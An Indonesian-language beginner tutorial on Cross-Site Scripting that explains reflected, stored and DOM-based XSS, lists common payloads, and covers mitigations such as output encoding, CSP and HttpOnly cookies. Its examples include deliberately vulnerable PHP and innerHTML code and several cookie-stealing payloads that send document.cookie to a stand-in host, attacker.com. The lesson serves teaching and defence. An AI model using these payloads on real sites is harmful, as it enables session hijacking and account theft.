Home Pelajaran Web Security Cross-Site Scripting (XSS)
Pemula 30 min Web Security

Cross-Site Scripting (XSS)

Jenis-jenis XSS (Reflected, Stored, DOM), payload JavaScript, session hijacking, cookie theft, dan teknik mitigasi dengan CSP.

Cross-Site Scripting (XSS) adalah kerentanan keamanan yang memungkinkan penyerang menyisipkan skrip berbahaya ke halaman web yang dilihat pengguna lain. Skrip ini bisa mencuri cookies, session token, atau melakukan aksi atas nama korban. XSS selalu masuk OWASP Top 10 dan sangat umum ditemukan.

Bagaimana XSS Bekerja

XSS terjadi ketika aplikasi web mengembalikan input pengguna ke halaman HTML tanpa sanitasi. Contoh PHP rentan:

PHP (Rentan)
$name = $_GET["name"];
echo "Hello, " . $name;

Jika penyerang mengirimkan <script>alert(1)</script>, JavaScript akan dieksekusi di browser korban.

Jenis-Jenis XSS

1. Reflected XSS

Payload langsung dipantulkan dalam respons HTTP. Biasanya via URL parameter atau form input.

Reflected XSS URL
https://target.com/search?q=<script>alert(document.cookie)</script>

2. Stored (Persistent) XSS

Payload disimpan di server (database, log file, komentar) dan ditampilkan ke semua pengunjung. Lebih berbahaya karena mempengaruhi banyak pengguna.

Stored XSS Payload (Komentar)
<script>
fetch("https://attacker.com/steal?c=" + document.cookie);
</script>

3. DOM-Based XSS

Payload dieksekusi melalui manipulasi DOM di sisi klien tanpa perlu request ke server.

DOM XSS (innerHTML)
// Kode JavaScript rentan
document.getElementById("output").innerHTML = location.hash.slice(1);
// URL: https://target.com/page#<img src=x onerror=alert(1)>

Payload XSS yang Sering Digunakan

XSS Payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
\"><script>alert(1)</script>
\"><img src=x onerror=alert(document.cookie)>
<a href=\"javascript:alert(1)\">click</a>
<input onfocus=alert(1) autofocus>
<script>fetch(\"https://attacker.com?c=\"+document.cookie)</script>

Stealing Session Cookies

Target utama XSS adalah mencuri session cookie korban:

Cookie Theft
<script>
var img = new Image();
img.src = "https://attacker.com/log?cookie=" + encodeURIComponent(document.cookie);
</script>

Cara Mencegah XSS

  • Output Encoding/Escaping — encode output sesuai konteks (HTML, JS, URL, CSS)
  • Content Security Policy (CSP) — header HTTP yang membatasi sumber script
  • HttpOnly Cookies — cookie hanya bisa diakses HTTP, tidak oleh JavaScript
  • Input Validation — validasi dan sanitasi semua input
  • X-XSS-Protection Header — mengaktifkan XSS filter di browser lama
  • Gunakan framework modern — React, Vue, Angular auto-escape output
CSP Header
Content-Security-Policy: default-src "self"; script-src "self"

Referensi

  • OWASP XSS: https://owasp.org/www-community/attacks/xss/
  • PortSwigger XSS: https://portswigger.net/web-security/cross-site-scripting
  • XSS Filter Evasion Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html